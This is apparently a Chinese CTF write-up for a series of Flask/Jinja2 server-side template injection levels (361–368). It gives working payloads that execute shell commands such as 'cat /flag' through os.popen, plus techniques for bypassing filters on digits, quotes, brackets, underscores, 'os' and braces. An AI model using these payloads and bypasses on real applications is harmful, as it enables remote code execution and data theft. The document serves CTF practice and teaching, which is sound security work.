361
这一关给的提示是名字就是考点,所以我们尝试?name={{2*2}}测试一下;发现
所以存在ssti漏洞,所以构造payload
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
__class__ 返回调用的参数类型
__bases__ 返回类型列表
__subclasses__() 返回object的子类
__globals__ 函数会以字典类型返回当前位置的全部全局变量
362
这一关给的提示是开始过滤,那我们就要找过滤掉了什么,所以我们一个一个尝试,经过尝试发现过滤了2和3这两个数字。 我们可以使用全角数字绕过,把上一关的132变成132
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
363
这一关过滤了单双引号,可以用request来绕过request.args 是flask中的一个属性,为返回请求的参数,这里把 来,进而绕过了引号的过滤 path 当作变量名,将后面的路径传值
?name={{x.__init__.__globals__[request.args.a].eval(request.args.b)}}&a=__builtins__&b=__import__('os').popen('cat /flag').read()
364
这一关过滤了args ,改用cookie
GET:?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
Cookie:a=os;b=popen;c=cat /flag
365
过滤了引号,还有中括号,但request.cookies仍然可以用。
GET:?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag
366
在之前的基础上又ban了下划线_,这样globals这样的就构造不出来了,拿request绕过。 获取属性的话,用lipsum.(request.values.b)是会500的,中括号被ban了,getattribute也用不了的 话,就用falsk自带的过滤器attr
?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}
Cookie传参:
x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /f*').read()
367
这一关过滤了os,但是上一关的payload也可以用,毕竟把os放到cookie里了。
368
这一关过滤了{},既然{{}}不给用,那么{% print()%}
一样可以输出。
?name={%print((x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5))%}